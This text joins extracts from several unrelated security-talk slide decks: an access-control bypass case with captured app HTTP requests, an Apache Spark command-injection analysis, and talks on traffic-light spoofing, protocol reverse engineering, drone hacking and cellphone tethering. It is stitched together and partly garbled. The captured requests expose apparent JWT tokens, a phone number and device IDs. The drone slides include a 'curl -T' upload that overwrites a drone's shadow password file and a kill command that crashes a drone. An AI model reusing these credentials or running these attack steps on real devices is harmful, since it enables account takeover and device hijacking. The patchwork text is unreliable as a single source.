2 f c 9 9 2 5 4 d 6 4 6 & c u r r e n t C a s U u i d = 0 a 8 0 9 0 d a - 6 8 6 4 - 4 3 5 8 - 9 c a b -
23b83332eb69&nonce=460&signature=492ec4cf0ac8c0330c147be5648e9986d5ad0cd0&source=clinic-
app&ticket=632C8567EA3604A38AAF3DDA23EBF4C2931380C7×tamp=1496283609603&userId=2222&version=1.8.1
案例2
https://www.xxxxxx.com/clinic/pg1
案例2
案例2
案例2
案例3-继续越权
POST /ccc-cmnsrv-channel-channelapp/order/prejud/queryUser HTTP/1.1
Host: flsccc.cccc.com.cn
Accept: */*
version: 1
userId: 2b9a0888-18b6-4790-838a-fe7dea4d865f_8348
Accept-Encoding: br, gzip, deflate
Accept-Language: zh-Hans-CN;q=1
token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJhdXRoMCIsImV4cCI6MTUzODM5NjAxMywidXNlcklkIjoiM
mI5YTA4ODgtMThiNi00NzkwLTgzOGEtZmU3ZGVhNGQ4NjVmXzgzNDgiLCJkZXZpY2VJZCI6IjkyQjExNTgwLUJDM
TEtNDBGQS1CRjFCLUJBM0EyQkQ1RkJCNCJ9.zYzs8nKtmM8gxK8Qz3zvh-i85Z5K641jkaV40l5KGfM
Content-Type: application/json
deviceId: 92B11580-BC11-40FA-BF1B-BA3A2BD5FBB4
User-Agent: CCCCCC(iPhone; iOS 12.0; Scale/3.00)
Content-Length: 550
Connection: keep-alive
Cookie: BIGipServerPOOL_CCC_PRDR2018041905012=691286282.2586.0000
{"preMobile":"15898338482","deviceId":"92B11580-BC11-40FA-BF1B-
BA3A2BD5FBB4","data":{"pageNum":1,"preStatus":"","requsetCode":"1036","userId":"2b9a0888-18b6-4790-
838a-fe7dea4d865f_8348","name":"","pageSize":20},"userId":"2b9a0888-18b6-4790-838a-
fe7dea4d865f_8348","token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJhdXRoMCIsImV4cCI6MTUz
ODM5NjAxMywidXNlcklkIjoiMmI5YTA4ODgtMThiNi00NzkwLTgzOGEtZmU3ZGVhNGQ4NjVmXzgzNDgiLCJkZXZpY
2VJZCI6IjkyQjExNTgwLUJDMTEtNDBGQS1CRjFCLUJBM0EyQkQ1RkJCNCJ9.zYzs8nKtmM8gxK8Qz3zvh-
i85Z5K641jkaV40l5KGfM","version":"1"}
案例3
preMobile":"15898338482”
"deviceId":"92B11580-BC11-40FA-BF1B-BA3A2BD5FBB4”
"data":{"pageNum":1,"preStatus":"","requsetCode":"1036",”
userId":"2b9a0888-18b6-4790-838a-fe7dea4d865f_8348”
"name":"","pageSize":20},"userId":"2b9a0888-18b6-4790-838a-
fe7dea4d865f_8348”
"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJhdXRoMCIs
ImV4cCI6MTUzODM5NjAxMywidXNlcklkIjoiMmI5YTA4ODgtMThiNi00NzkwL
TgzOGEtZmU3ZGVhNGQ4NjVmXzgzNDgiLCJkZXZpY2VJZCI6IjkyQjExNTg
wLUJDMTEtNDBGQS1CRjFCLUJBM0EyQkQ1RkJCNCJ9.zYzs8nKtmM8gx
K8Qz3zvh-i85Z5K641jkaV40l5KGfM
userId的值2b9a0888-18b6-4790-838a-fe7dea4d865f_8348是该数据包查询的主要参数
案例3
返回包里 还有这个参数 preCode":"1538316785803357820
结束?
案例3
案例3
POST /ccc-cmnsrv-channel-channelapp//order/prejud/querydetail HTTP/1.1
Host: ccc.ccc.com.cn
Accept: */*
version: 1
userId: 2b9a0888-18b6-4790-838a-fe7dea4d865f_8348
Accept-Encoding: br, gzip, deflate
Accept-Language: zh-Hans-CN;q=1
t
o
k
e
n
:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJhdXRoMCIsImV4cCI6MTUzODM5NjAxMywidXNlcklkIjoiMmI5Y
TA4ODgtMThiNi00NzkwLTgzOGEtZmU3ZGVhNGQ4NjVmXzgzNDgiLCJkZXZpY2VJZCI6IjkyQjExNTgwLUJDMTEtNDB
GQS1CRjFCLUJBM0EyQkQ1RkJCNCJ9.zYzs8nKtmM8gxK8Qz3zvh-i85Z5K641jkaV40l5KGfM
Content-Type: application/json
deviceId: 92B11580-BC11-40FA-BF1B-BA3A2BD5FBB4
User-Agent: ccc(iPhone; iOS 12.0; Scale/3.00)
Content-Length: 437
Connection: keep-alive
Cookie: BIGipServerPOOL_PACLOUD_PRDR2018041905012=691286282.2586.0000
{ " p r e M o b i l e " : " 1 5 8 9 8 3 3 8 4 8 2 " , " d e v i c e I d " : " 9 2 B 1 1 5 8 0 - B C 1 1 - 4 0 F A - B F 1 B -
BA3A2BD5FBB4","data":{"preCode":"1538298322684636141","requestCode":"1028"},"userId":"","token":"eyJ0eXAi
OiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJhdXRoMCIsImV4cCI6MTUzODM5NjAxMywidXNlcklkIjoiMmI5YTA4ODgt
MThiNi00NzkwLTgzOGEtZmU3ZGVhNGQ4NjVmXzgzNDgiLCJkZXZpY2VJZCI6IjkyQjExNTgwLUJDMTEtNDBGQS1CRj
FCLUJBM0EyQkQ1RkJCNCJ9.zYzs8nKtmM8gxK8Qz3zvh-i85Z5K641jkaV40l5KGfM","version":"1"}
案例3
1538316785803357820
1538316785803357820
1538316019621049687
1538312316419145617
1538309392814356909
1538307415215293327
1538305287130052894
1538302500133637456
1538302371342876240
案例3
职业规划
俗话说,术业有专攻,只有我们找
对自己发展的方向,才能朝着目标
一步步前进,安全从业人员的技能
是需要沉淀的,只有技能不断的经
过推敲,留下来的才是你自己的核
心竞争力,有了它,你就可以在安
3全领域所向披靡。
职业规划
黑铁段位的逆袭之路
黑铁段,竟然还在青铜段位下面,以前总是嘲讽技术菜的人是青铜五,
现在都变成了你是黑铁段的吧!其实不要这么绝对,难道你真的相信黑
铁段是因为技术很差很差才定位到的吗?
三人行必有我师
安全圈不是娱乐圈,安全
的发展离不开技术共享与
交流,所以我们遇到不懂
得问题要多问,而且不要
看低任何人,往往低调的
人更有货。
实战挖掘提升快
安全技术的提高,实战是
最快的捷径,死知识往往
无法解决现实中遇到的问
题,所以就要多踩坑,踩
的坑多了,填的坑多了,
你的技术就提高了。
安全建设能推进才是王道
安全建设之所以难,很大
程度上是项目推进难,因
为在大家眼里,安全就是
来挑刺的,他们认为没有
安全就没漏洞,我们需要
多联络多沟通,化解敌对。
从白帽子视角看安全
存在漏洞
发现漏洞
攻击获利
利用漏洞
扩大攻击
如何规避
如何预防
如何防御
如何修复
如何阻断
如何推延
如何告警
如何检测
如何监测
如何应急
如何溯源
如何降损
职业规划
白帽子
安全工程师
打怪升级
高级/资深安全工程师/专
家
高级/资深安全架构师/总
架
打输出
打控制
部门技术
leader
部门leader
CSO
小公司CSO
小公司CSO
卖橙子
继承家业
创业/入股
/CEO
创业/入股
/CEO
失败
该流程可循环
该流程可循环
组队开黑
创建团队
进入战队打职业
进入站队打职业
THANK YOU! | pdf |
CVE-2022-33891: Apache Spark shell
command injection vulnerability via Spark
UI
影响版本
Apache Spark versions 3.0.3 and earlier, versions 3.1.1 to 3.1.2, and versions 3.2.0 to 3.2.1.
分析
⾸先看到官⽅描述
https://lists.apache.org/thread/p847l3kopoo5bjtmxrcwk21xp6tjxqlc
当中可以根据提⽰找到diff:
https://github.com/apache/spark/pull/36315/files
这⾥没做⽆害处理,直接对命令进⾏拼接造成命令注⼊
如图那么漏洞原理确实很简单,那么接下来就要看如何触发了
⾸先关于配置可以参考:https://spark.apache.org/docs/3.0.3/security.html
⼀个漏洞能利⽤的最简配置,当然不⼀定是和acl相关的最佳配置,毕竟还有其他参数,当然
作为漏洞研究就这样开启就好,其中[]为可选项意思是不⽤加都⾏
分析可以得到调⽤链
org.apache.spark.ui.HttpSecurityFilter.doFilter()
org.apache.spark.SecurityManager.checkUIViewPermissions()
org.apache.spark.SecurityManager.isUserInACL()
org.apache.spark.util.Utils.getCurrentUserGroups()
org.apache.spark.security.ShellBasedGroupsMappingProvider.getGroups()
org.apache.spark.security.ShellBasedGroupsMappingProvider.getUnixGroups()
./bin/spark-shell --conf spark.acls.enable=true --conf spark.ui.port=8099
--conf spark.ui.view.acls=true [--conf
spark.user.groups.mapping=org.apache.spark.security.ShellBasedGroupsMappin
gProvider]
这个HttpSecurityFilter,很明显是⼀个filter,其实猜都能猜到既然是和权限校验相关那么肯定
是所有路由都会经过这个filter的,当然也能找到这样的代码⽚段来验证
接着回来我们可以看到它参数来源于doAs
那就很简单了
val securityFilter = new HttpSecurityFilter(conf, securityMgr)
val holder = new FilterHolder(securityFilter)
handler.addFilter(holder, "/*", EnumSet.allOf(classOf[DispatcherType])) | pdf |
HACKING TRAFFIC LIGHTS
DEFCON 2020
WHO ARE WE?
06/08/2020
HACKING TRAFFIC LIGHTS
• Wesley Neelen
• Hacker
• OSCP / OSCE
• 8+ years of experience
• Internet of Things security
• Rik van Duijn
• Hacker
• OSCP / OSCE
• 8+ years of experience
• Malware analysis
DISCLAIMER: NO SMART TRAFFIC EXPERTS ☺. WE DO USE BICYCLES
@WESLEYNEELEN
@RIKVDUIJN
INTRODUCTION TO SMART TRAFFIC
06/08/2020
HACKING TRAFFIC LIGHTS
Creating a platform to exchange information:
• Road signs
• Parking status
• Traffic status
• Traffic light systems
• Road users
• Cyclist, cars, trucks, emergency vehicles ...
INTRODUCTION TO SMART TRAFFIC
06/08/2020
HACKING TRAFFIC LIGHTS
Creating a platform to exchange information:
• Road signs
• Parking status
• Traffic status
• Traffic light systems
• Road users
• Cyclist, cars, trucks, emergency vehicles ...
Our research focus
06/08/2020
HACKING TRAFFIC LIGHTS
FACTS & FIGURES
In the Netherlands:
• 17+ million citizens - 22.8 million bicycles
• 35,000 kilometres cycling infrastructure
06/08/2020
HACKING TRAFFIC LIGHTS
WAIT A MINUTE, YOU ARE LETTING ME TALK TO TRAFFIC LIGHTS?
ONGOING PARTNERSHIPS
06/08/2020
HACKING TRAFFIC LIGHTS
Goal:
• Safety
• Comfort
• Traffic flow
ONGOING PARTNERSHIPS
06/08/2020
HACKING TRAFFIC LIGHTS
Goal:
• Safety
• Comfort
• Traffic flow
Apps to connect:
• Cyclists, decreases the time to green
• Trucks, a green flow
• Emergency vehicles, instant green and notify others
ONGOING PARTNERSHIPS
06/08/2020
HACKING TRAFFIC LIGHTS
Goal:
• Safety
• Comfort
• Traffic flow
Apps to connect:
• Cyclists, decreases the time to green
• Trucks, a green flow
• Emergency vehicles, instant green and notify others
ONGOING PARTNERSHIPS
06/08/2020
HACKING TRAFFIC LIGHTS
Goal:
• Safety
• Comfort
• Traffic flow
Apps to connect:
• Cyclists, decreases the time to green
• Trucks, a green flow
• Emergency vehicles, instant green and notify others
ONGOING PARTNERSHIPS
06/08/2020
HACKING TRAFFIC LIGHTS
Goal:
• Safety
• Comfort
• Traffic flow
Apps to connect:
• Cyclists, decreases the time to green
• Trucks, a green flow
• Emergency vehicles, instant green and notify others
VRI’s are being replaced for iVRI’s (EN: TLC to iTLC)
• VRI controls all traffic lights at 1 intersection
• i for Intelligent
• Currently: 513 across the Netherlands (5500 VRI’s total)
Image credit: https://en.wikipedia.org/wiki/Traffic_light_control_and_coordination
HOW ARE THINGS CONNECTED (SIMPLIFIED) ?
06/08/2020
HACKING TRAFFIC LIGHTS
WESLEY
CLOUD SERVICES
RIK
ERIK
THEO
ROAD USERS
(Current state. Future: e.g. car-to-car, 5G-enabled… :-s)
ETSI CAM OBJECTS
06/08/2020
HACKING TRAFFIC LIGHTS
• ETSI - European Telecommunications Standards Institute
• ITS Intelligent Transport Systems
• CAM – Cooperative Awareness Message (EU)
• BSM – Basic Safety Message (US)
ETSI CAM OBJECTS
06/08/2020
HACKING TRAFFIC LIGHTS
• Contents
• Basic Container
• Position
• Station type*
• HF Container
• High speed data
• Speed
• Yaw
• etc
• LF Container
• Static / slow changing data
• Lights
• Path history
Image credit: ETSI (https://www.etsi.org/deliver/etsi_en/302600_302699/30263702/01.03.01_30/en_30263702v010301v.pdf)
06/08/2020
HACKING TRAFFIC LIGHTS
Image credit: ETSI (https://www.etsi.org/deliver/etsi_ts/102900_102999/102940/01.03.01_60/ts_102940v010301p.pdf)
ITS SECURITY
06/08/2020
HACKING TRAFFIC LIGHTS
• Standard describes signing messages
• CAM has a station type
• Certificate contains SSP and ITS-AID
• Intelligent Transport System Application ID
• Describes basic permissions
• Service Specific Permissions
• Describes specific permissions such as:
• Emergency container
• Dangerous good container
An incoming signed CAM is accepted by the receiver if the certificate is valid
and the CAM is consistent with the ITS-AID and SSP in its certificate.
Image credit: ETSI (https://www.etsi.org/deliver/etsi_ts/102900_102999/102940/01.03.01_60/ts_102940v010301p.pdf)
ITS SECURITY
06/08/2020
HACKING TRAFFIC LIGHTS
• Security Standards exists
• Implementation requires a central certificate authority and infrastructure
• Even then it might be good to monitor the messages sent across infrastructure.
• There are research trying to detect abuse: https://github.com/josephkamel/F2MD
Image credits: (https://docbox.etsi.org/Workshop/2019/201903_ITSWS/SESSION02/SYSTEMX_KAISER.pdf)
and (https://github.com/josephkamel/F2MD)
REAL LIFE IMPLEMENTATION 1 –VIEWING CAM
06/08/2020
HACKING TRAFFIC LIGHTS
• Android application for cyclists
• Decompiled: CAM objects over MQTT
• Hard time imitating: ASN and Protobuf
• Let’s use (for the first time) ☺:
• Hooked the CAM publisher function:
value basicContainer ::= {
stationType cyclist,
referencePosition {
latitude 51xxxxx,
longitude 50xxxxx,
positionConfidenceEllipse {
semiMajorConfidence unavailable,
semiMinorConfidence unavailable,
semiMajorOrientation unavailable
},
altitude {
altitudeValue 4000,
altitudeConfidence unavailable
}
}
}
REAL LIFE IMPLEMENTATION 1 –MODIFYING CAM
HACKING TRAFFIC LIGHTS 06/08/2020
REAL LIFE IMPLEMENTATION 1 –MULTIPLE CYCLISTS
06/08/2020
HACKING TRAFFIC LIGHTS
Every new MQTT connection seen as a new cyclist:
REAL LIFE IMPLEMENTATION -2
06/08/2020
HACKING TRAFFIC LIGHTS
• Android application for cyclists
• Burp suite -> POST requests with position
• Backend converting our input to CAM?
• No way to distinguish cyclists (no auth)
[{"heading":<DIRECTION>,"latitude":<LATITUDE>,"longitude":<LONGITUDE>,"speed":<SPEED>}]
HACKING TRAFFIC LIGHTS 06/08/2020
HACKING TRAFFIC LIGHTS 06/08/2020
WHAT COULD GO
WRONG?
HACKING TRAFFIC LIGHTS 06/08/2020
CONCLUSION
06/08/2020
HACKING TRAFFIC LIGHTS
KEY ISSUE: No Signing
Despite specification in ETSI standard.
Allows to:
• Remotely influence a cycling traffic light;
• Or all cycling lights in a city at once;
• Imitate cyclists only (for now)
CONCLUSION
06/08/2020
HACKING TRAFFIC LIGHTS
KEY ISSUE: No Signing
Despite specification in ETSI standard.
Allows to:
• Remotely influence a cycling traffic light;
• Or all cycling lights in a city at once;
• Imitate cyclists only (for now)
Impact:
• Limited: safety systems stay intact (no accidents)
• Causing annoyance due to unnecessary red light
• Funny, however: annoyance by red lights can lead to road rage
Ongoing: responsible disclosure process
CONCLUSION
06/08/2020
HACKING TRAFFIC LIGHTS
KEY ISSUE: No Signing
Despite specification in ETSI standard.
Allows to:
• Remotely influence a cycling traffic light;
• Or all cycling lights in a city at once;
• Imitate cyclists only (for now)
Impact:
• Limited: safety systems stay intact (no accidents)
• Causing annoyance due to unnecessary red light
• Funny, however: annoyance by red lights can lead to road rage
Ongoing: responsible disclosure process
FOUNDATION FOR THE FUTURE
TO IMPLEMENT THIS CORRECTLY
WE ONLY GET ONE CHANCE
RECOMMENDATIONS
1. Implement some form of
authentication
2. Monitor unexpected / implausible
behavior at the backend
3. Block abuse
HACKING TRAFFIC LIGHTS 06/08/2020
06/08/2020
HACKING TRAFFIC LIGHTS
Q&A
@WESLEYNEELEN
@RIKVDUIJN
Or contact us directly:
Thursday, August 6th, 2020
13:30 - 14:00 (Pacific Time) | pdf |
#BHUSA @BlackHatEvents
PISE: Automatic Protocol Reverse Engineering
Ron Marcovich, Orna Grumberg and Gabi Nakibly
#BHUSA @BlackHatEvents
Ron Marcovich
M.Sc. Student
Introductions
Dr. Gabi Nakibly
Senior Adjunct
Lecturer
Distinguished
Researcher
Formerly at
Prof. Orna Grumberg
Faculty Member
#BHUSA @BlackHatEvents
Agenda
What is protocol
RE?
What is PISE all
about?
How PISE does its
magic?
S: 250
OK
start
R: HELO
S: 250 OK
R: MAIL
FROM
R: RCPT TO
S: 250 OK
R: DATA
S: 550
R: RCPT TO
R: RSET
#BHUSA @BlackHatEvents
Motivation and Background
#BHUSA @BlackHatEvents
Hi
Hello
How are you?
I am fine.
Tuesday
What is protocol reverse engineering?
#BHUSA @BlackHatEvents
250 OK
HELO
250 OK
MAIL FROM
RCPT TO
Mail Client
Mail Server
What is protocol reverse engineering?
#BHUSA @BlackHatEvents
250 OK
start
HELO
250 OK
MAIL FROM
RCPT TO
250 OK
DATA
550
RCPT TO
RSET
RCPT%20TO:*%0D%0A
R:
R:
R:
R:
R:
S:
S:
S:
S:
R:
Mail Server
What is protocol reverse engineering?
#BHUSA @BlackHatEvents
data
init
data
finish
data
Server
Client
Motivation I – Finding Bugs
#BHUSA @BlackHatEvents
init
getFile
deny
SesameGetFile
file
Server
Client
Motivation II – Finding backdoors
#BHUSA @BlackHatEvents
C&C
channel
Get info
Send Spam
DoS <url>
Motivation III – Analyzing Malware
#BHUSA @BlackHatEvents
It can be days or even weeks!
Protocol RE is Hard!
#BHUSA @BlackHatEvents
start
R: HELO
S: 250 OK
R: MAIL FROM
S: 250 OK
R: RCPT TO
S: 250 OK
R: DATA
S: 550
R: RCPT TO
R: RSET
RCPT%20TO:*%0D%0A
Research Goal
#BHUSA @BlackHatEvents
No past traffic
captures
No active
protocol peer
No source
code
No Assumptions
#BHUSA @BlackHatEvents
PISE is action, Examples and Demo
#BHUSA @BlackHatEvents
First, we crafted a toy example
login
ok1/ok2
logout1/logout2
#BHUSA @BlackHatEvents
SMTP client
We wanted to get to the real thing
#BHUSA @BlackHatEvents
Messages’ formats are extracted as well!
We wanted to get to the real thing
#BHUSA @BlackHatEvents
Remember those days when we had no idea what Zoom is?
☺☺☺☺☺☺
Then COVID came….
#BHUSA @BlackHatEvents
Then we tried to work with gh0st RAT
#BHUSA @BlackHatEvents
Under the Hood
#BHUSA @BlackHatEvents
Q
A
L* Algorithm
Symbolic Execution
Overview
#BHUSA @BlackHatEvents
L* Algorithm (Automata Learning)
Q: Is a given message exchange valid by the
protocol?
#BHUSA @BlackHatEvents
{R:init, S:start}
{R:init, R:init}
init
start
data
finish
idle
open
close
R:init
S:start
R:finish
Using L* Algorithm
R:data
Client
Server
#BHUSA @BlackHatEvents
We do not know what are the protocol’s
message types!!
Let’s assume for now we do know the message types.
But there is a problem!
#BHUSA @BlackHatEvents
L*
algorithm
Symbolic
Execution
Is this sequence of
message types
valid for the
protocol?
Yes/No
Answering Membership queries
#BHUSA @BlackHatEvents
a > 3 ,b = 2789
Symbolic Execution
#BHUSA @BlackHatEvents
Is {R: Init, S: Start, R: Data} valid for the protocol?
msg Receive()
if (msg is Init)
true
false
Send(Start)
Msg ← Receive()
If (msg is Data)
true
false
.
.
.
Send(Error)
.
.
.
Error()
R: Init
S: Start
R: Data
Answering Membership queries
#BHUSA @BlackHatEvents
Is {R: Data} valid for the protocol?
msg Receive()
if (msg is Init)
true
false
Send(Start)
Msg ← Receive()
If (msg is Data)
true
false
.
.
.
Send(Error)
.
.
.
Error()
R: Data
Answering Membership queries
#BHUSA @BlackHatEvents
• Let M = {M1, .., Mn}
• Whenever send/receive procedures are called for the i-th time, append a predicate that
identifies Mi, as constraint
• After n {send/receive}s, if there are feasible executions – then the sequence M is valid
Send/receive
a message
(i-th time)
Constraint to
Mi
Answering Membership queries
Gray: valid state
Red: invalid for the sequence
Magenta: valid for the sequence
#BHUSA @BlackHatEvents
• Intercept calls to send and receive procedures
How to identify a send or receive?
#BHUSA @BlackHatEvents
As said, we do not know is advance the protocol’s message types.
We utilize update membership queries to discover it little by little.
L*
algorithm
Symbolic
Execution
Is this sequence of
message types
valid for the
protocol?
Yes/No
If yes, here is a message
type that can follow the
sequence.
Extend L* to
handle the new
message type
Discovering message types
#BHUSA @BlackHatEvents
What message types can follow {R: Init}?
msg Receive()
if (msg is Init)
true
false
Send(Start)
Msg ← Receive()
If (msg is Data)
.
.
.
Error()
R: Init
Get
examples
Probing for following message types
#BHUSA @BlackHatEvents
What message types can follow {R: Init, S: Start}?
msg Receive()
if (msg is Init)
true
false
Send(Start)
Msg ← Receive()
If (msg is Data)
true
false
.
.
.
Send(Error)
.
.
.
Error()
R: Init
S: Start
Unknown
symbolic value
???
Probing for following message types
#BHUSA @BlackHatEvents
msg receive()
if (msg begins with ‘data’) {
// Constraint: msg begins with ‘Data’
} else {
// I can’t parse this message, error
}
Resume Execution:
Wait for message to
be parsed
Constraints are
developed
according to the
parsing logic
Get concrete
messages that
match constraints
Probing for following message types
#BHUSA @BlackHatEvents
Example
Messages
Find features of
message type
Concrete messages → Message type
RCPT%20TO:*%0D%0A
RCPT TO: [email protected]
RCPT TO: [email protected]
RCPT TO: [email protected]
#BHUSA @BlackHatEvents
Use symbolic execution to learn if a given sequence of messages is
valid and if so, what are the next messages the program expects to
receive or is about to send.
{R: init, S: start} - A valid sequence. A next message is data.
{R: data} – Not a valid sequence.
Based on this information use a well-known algorithm (called L*
algorithm) to reconstruct the protocol’s state machine.
init
start
data
finish
S:start
idle
open
close
R:init
R:finish
R:data
Tying it all together
#BHUSA @BlackHatEvents
{S:start,R:data,R:finish}
M={}
idle
open
close
R:init
R:data
R:finish
M={R:init}
S:start
An illustrative example
L*
algorithm
Symbolic
Execution
Yes ☺
{R:init}
mnext=
valid ?
M={R:init,S:start}
M={R:data}
No
M={R:init,R:data}
M={R:init,R:data,R:finish}
{}
Message Types
R:init
S:start
R: data
R: finish
#BHUSA @BlackHatEvents
PISE’s interacts with the binary using symbolic execution.
This means that PISE is as good or as bad as the symbolic tool used.
Currently, PISE supports only Angr.
- Trouble supporting threads.
- Does not fully support windows API
L*
algorithm
Symbolic
Execution
Caveats
#BHUSA @BlackHatEvents
https://github.com/ron4548/PISEServer
Q
A
L* Algorithm
Symbolic Execution
start
R: HELO
S: 250 OK
R: MAIL
FROM
S: 250 OK
R: RCPT TO
S: 250 OK
R: DATA
S: 550
R: RCPT TO
R: RSET
Summary
#BHUSA @BlackHatEvents
Questions
https://github.com/ron4548/PISEServer | pdf |
• Twitter: @Kevin2600
• Github: https://github.com/kevin2600
• 狗汪汪系列: 玩转无线电-不安全的蓝牙锁; 玩转嵌入式-I2C 协议分析; 玩转嵌入式-WINKHUB 边信道;
玩转无线电-GPS Hacking; 玩转无线电-温哥华天车 RFID 票务系统 ...
议程:
• 无人机攻防那点事
• 无人机攻防案例篇
• 无人机攻防实战篇
• 无人机攻防科幻篇
无人机攻防那点事
无人机世界百家齐放
• 无人机厂商众多 (DJI; Parrot; Xiaomi; DIYer...)
• 无人机运用场景广泛 (航拍; 运输; 求婚; 应急反应...)
• 无人机遥控种类繁多 (RF; WIFI; XBEE; 开源 & 私有协议...)
无人机侵犯隐私 ?
无人机走私犯罪 ?
无人机攻防现状 ?
• DARPA 举行无人机攻防比赛 (禁止使用GPS-欺骗)
• 花样百出的防御方式: 视频; 音频; WIFI; 红外; 无线电 ...
• 千奇百怪的攻击方式: 老鹰; WI-FI 攻击; 超声波干扰; 电磁波干扰 ...
无人机攻防现状 !
• GPS 欺骗攻击效果各异 (DJI 精灵3S 禁飞区 & 启始返航)
• 防御设备价格高昂, 不适合普通民众 (每只老鹰 1年开销 6922 $)
• 电磁波枪覆盖范围有限, 切断遥控信号后反应各异 (降落; 悬停; 返航)
无人机攻防案例篇
无人机安全漏洞?
• 无人机安全漏洞 (捕食者; AR-Drone 2.0; 大疆精灵3S ...)
• 无人机攻击点 (WIFI; GPS 信号; 固件; 遥控器; 手机APP; 飞控协议; 摄像视频 ...)
• 无人机安全漏洞类型 (WIFI 空密码; GOT ROOT; 飞控指令无认证; 航拍视频无加密 ...)
案例: Parrot AR Drone 2.0
• AR Drone 2.0 提供WIFI 热点 (无口令保护)
• 研究无人机安全必备 Linux on ARM (SkyJack 劫持; Maldrone 病毒..)
• 默认提供 Telnet Root 访问权限. 通过 Pairing 模式来保证安全 (MAC 地址)
• kill –KILL “pidof program.elf”
DEMO
案例: DBPOWER U818A-WIFI
• U818A 提供WIFI 热点 (无口令保护)
• U818A 基于 BusyBox 1.20.2 (潜在其它 BusyBox 隐患?)
• CVE-2017-3209 (未知 FTP server 允许匿名账号任意文件访问, 照片视频等)
• “curl -T shadow ftp://192.168.0.1:21/etc/jffs2/shadow”
案例: Parrot Bebop2
• Bebop2 基于 Android 系统. 提供TELNET, FTP, UART Root 访问
• 当Bebop2 接收到大量WIFI连接请求, 将无法处理请求包并坠机
• 当Bebop2 接收到超大数据包, Buffer将无法处理超额数据包并坠机
案例: Mavlink 开源协议
• 适用于接受遥控; GPS; 飞行时速等信息 (AR.Drone; ArduPilot ..)
• 各地面站(GCS) 可同时操控 255 架无人机 (Intel 的 500 架无人机 Show, 劫持攻击? )
• Fuzzing 环境配置: SCAPY or KITTY + Test cases (ERROR : Floating point exception)
• Fuzzing 环境配置: 架设虚拟无人机及虚拟地面站环境 (SITL Simulator; MAVProxy; Wireshark)
案例: DJI 大疆无人机系列
• 大疆精灵3 无人机易被 GPS 欺骗 (flyforbid.json)
• 大疆精灵3 遥控器 & 无人机 WIFI Probing (MAC: 60:60:1F)
• 大疆精灵3 Sniffer: github.com/a232319779/PHANTOM-3-STANDARD
• 大疆精灵3 RF 劫持 Geekpwn 2015 (315晚会报道的无人机是怎么被劫持的?)
案例: DJI 大疆无人机系列
DEMO
无人机攻防实战篇
目标: CX-10WD
• 适宜无人机逆向入门 CX-10 系列 (WIFI; RF; 视频图传)
• 遥控操作分为 4 个频道, 工作在频率 2.4Ghz 范围
• 遥控最远距离为 WIFI 可达 40 米, RF 可达 15 米 (室内飞行)
CX-10WD 情报收集
• 无人机工作频率 (900mhz ? 2.4ghz ? 5.8ghz ?)
• 无人机采用何种无线模块 (芯片? GFSK ? 数率 ?)
• 无人机工作模式 (有无跳频 ? 有无加密 ? 数据包结构 ?)
CX-10WD 工作频率
• FCCID 数据查询
• 芯片类型文档阅读
• SDR 软件无线电侦测
CX-10WD 工作频率
绑定信号
遥控信号
CX-10WD – 干扰攻击
• 最暴力的攻击方式: WIFI Deauth 攻击 (AirCrack-ng 依旧王道)
• 最暴力的攻击方式: 高功率信号放大器 + 2.4ghz 高斯噪音 (SDR 无线 Hacking 必备)
CX-10WD – 协议逆向
CX-10WD – 协议逆向
CX-10WD – 协议逆向
CX-10WD 攻击模式
正常模式
攻击模式
CX-10WD 攻击设备
NRF 24L01 无线模块
Arduino UNO 支持 SPI 传输
更快的发包率 + 以知的跳频算法
DEMO
CX-10WD – 刷新固件
• 比 Arduino + NRF24 模块更好的劫持方案?
• 无人机世界的瑞士军刀 DeviationTX 固件项目
• 改造加载多款无线硬件模块, 同时支持多款无线协议 (遥控器 DEVO 7E)
CX-10WD – 刷新固件
DEMO
其它玩法
• 玩法众多: MicroBIT; Devo7E; 树莓派; 软件无线电 ...
• 还有更高大上的么?
无人机攻防科幻篇
无人机 VS 无人机
• 无人机攻防, 最佳的防守是否就是攻击 ?
• 东京警方采用无人机&渔网的方式对违规无人机进行围捕
• Skyjack 项目 (AR.Drone + 树莓派) && Hack5 项目 (DJI3S + WIFI大菠萝)
无人机 VS 人工智能
• 微软研究通过机器学习与无人机自动驾驶结合 (无人机安保系统)
• 澳洲采用无人机与图像识别技术监控鲨鱼攻击事件 (海岸救生员)
• 卡耐基大学AI 实验室通过机器学习研究无人机自动规避技术 (空中巴士)
无人机 Skynet 雏形 ?
• AR.Drone 物体追踪 (ardronelabviewtoolkit.wordpress.com)
• NVIDIA Jetson TX 系列: 无人机自动分类识别的大脑
• 未来人工智能无人机攻防系统: 自动巡逻 + 敌我识别 + 主动攻击
DEMO
总结:
• Kein System Ist Sicher: 100% 安全的系统并不存在
• 无人机安全研究与其他嵌入式无线产品大同小异
• 无人设备与人工智能相结合是未来趋势 (安全性能如何?) | pdf |
Alexander Lash
Outline
Disclaimers
Why I Do This
Basic Skills
“Feature” -phones
Light Modification
Heavy Modification
Smartphones
BlackBerry
Symbian
Windows Mobile
iPhone
This Talk is NOT
…an endorsement
…a detailed guide
…about a particular phone
…except when it is.
…about carriers
…ok, fine, it’s mostly about carriers.
More Disclaimers!
This can break your phone
…keep backups
This may break your contract
…if your carrier finds out
Your carrier CAN and WILL charge you
…don’t use BitTorrent on a tether
This targets the USA cell market
…your mileage will vary elsewhere
Outline
Disclaimers
Why I Do This
Basic Skills
“Feature” -phones
Light Modification
Heavy Modification
Smartphones
BlackBerry
Symbian
Windows Mobile
iPhone
A Brief History of Tethering
Of course you can! (circa 2000)
Cheap data cables, too!
Try Customer Service. (circa 2002)
Two hours and a special password needed.
You need the secret code. (circa 2004)
##DIALUP? Thanks, Motorola!
That’s $60/month. (circa 2006)
Yes, it was free on your last phone.
Other “Innovations”
Crippled Bluetooth
Buying headsets good, ringtones bad!
Scare Tactics
The legendary $20,000 cellphone bill
Media Transfer Fees
Yay DRM!
Locked Application Platforms
Yay $10 Solitaire!
…and many more.
In Memoriam
7868w (pickup truck)
VX4400 (four-story fall)
v710 #1 (broken camera)
v710 #2 (class action replacement)
e815 (dead display controller)
v3c #1 (dead memory controller)
v3c #2 (killed by Verizon's software updater)
v3m #1 (broken microSD slot)
v3m #2 (broken radio)
k1m #1 (still not sure)
Outline
